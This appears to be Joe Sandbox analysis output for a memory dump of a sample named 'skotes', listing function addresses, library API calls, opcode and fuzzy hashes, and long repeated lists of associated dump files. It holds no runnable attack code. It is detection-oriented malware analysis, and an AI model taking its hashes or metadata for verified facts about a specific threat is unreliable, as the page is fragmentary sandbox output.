Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 68b88c1c29791cc080a51f6f24d1d756cbcbe8d5efb5337e3db9b0aa0ec925f7
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 2B31F430B28256AACF26AE7848927FE7BF59FA5300F0401A9D486D7242DB254DEDC7D1

Function 0021DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0021DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0021DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0021DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0021DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0021DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0021DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0021DE74

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 4a6bbae6d15c290c353025e820b45e74e347263f0aab29af374b18aa0232dd79
Instruction ID: a7ceb52bb1a5b9900a3fced6c91d2d676b9b19799a540a1a9611459c4be0be01
Opcode Fuzzy Hash: 4a6bbae6d15c290c353025e820b45e74e347263f0aab29af374b18aa0232dd79
Instruction Fuzzy Hash: 36418930A24349DADF29EFA484557EC7AE16F61304F1444A9E8416B2D3CB749AA8CF62

Function 0021E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0021E7D7

Part of subcall function 0021E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0021E577
Part of subcall function 0021E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0021E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0021E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0021E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0021E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0021E879
Concurrency::location::_Assign.LIBCMT ref: 0021E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0021E8B5

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 163c04f90ce72813a3567d4dae78a8bc1bbdcca5bf6d37a094a77d26fa6bbf44
Instruction ID: 6fd42c8ed851bc26346a52e1f76dfc3011f41db4ed447efb2484d99928061f6b
Opcode Fuzzy Hash: 163c04f90ce72813a3567d4dae78a8bc1bbdcca5bf6d37a094a77d26fa6bbf44
Instruction Fuzzy Hash: 97415835A102059FCF04EF64C894AADB7F5FF58310F1580A9DD499B392DB70A991CF91

Function 002144DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00214538
ListArray.LIBCONCRT ref: 0021456C
Hash.LIBCMT ref: 002145D5
Hash.LIBCMT ref: 002145E5

Part of subcall function 00219C41: std::bad_exception::bad_exception.LIBCMT ref: 00219C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0021474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 002147A4

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 85230dd2fc858295e57740ac85706d5b9cbde20bb03a1f95cc1cecbe9aa70618
Instruction ID: 306fd2870d17f8522f0284c2c4deb6f3429a25b1b0e0ff69832de99c636580fb
Opcode Fuzzy Hash: 85230dd2fc858295e57740ac85706d5b9cbde20bb03a1f95cc1cecbe9aa70618
Instruction Fuzzy Hash: F4816EB0A21B52BAD718EF748441BD9FAE8BF59714F10021BF46897281CBB4A5B4CFD1

Function 0020ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0020ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0020ED17

Part of subcall function 0020F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0020F3FA

__alloca_probe_16.LIBCMT ref: 0020ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0020ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0020EDC6
__freea.LIBCMT ref: 0020EDEC

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 5f798d2ae5abe1f94a52509640bd91b2c858368ca0306ec65d893218f2334f11
Instruction ID: 1a164dcf7744e03c2733ab3495794281dcb79dafda8f6f0a1b19350b2f15c2ab
Opcode Fuzzy Hash: 5f798d2ae5abe1f94a52509640bd91b2c858368ca0306ec65d893218f2334f11
Instruction Fuzzy Hash: 0331A171A203068FCF15DFA8C9425ADB7B9EF09310B26446EE845E73C2DB709E52CB90

Function 002367A9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00236902
__alloca_probe_16.LIBCMT ref: 00236998
__freea.LIBCMT ref: 00236A03
__freea.LIBCMT ref: 00236A0F

Strings

j718, xrefs: 002367B1

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
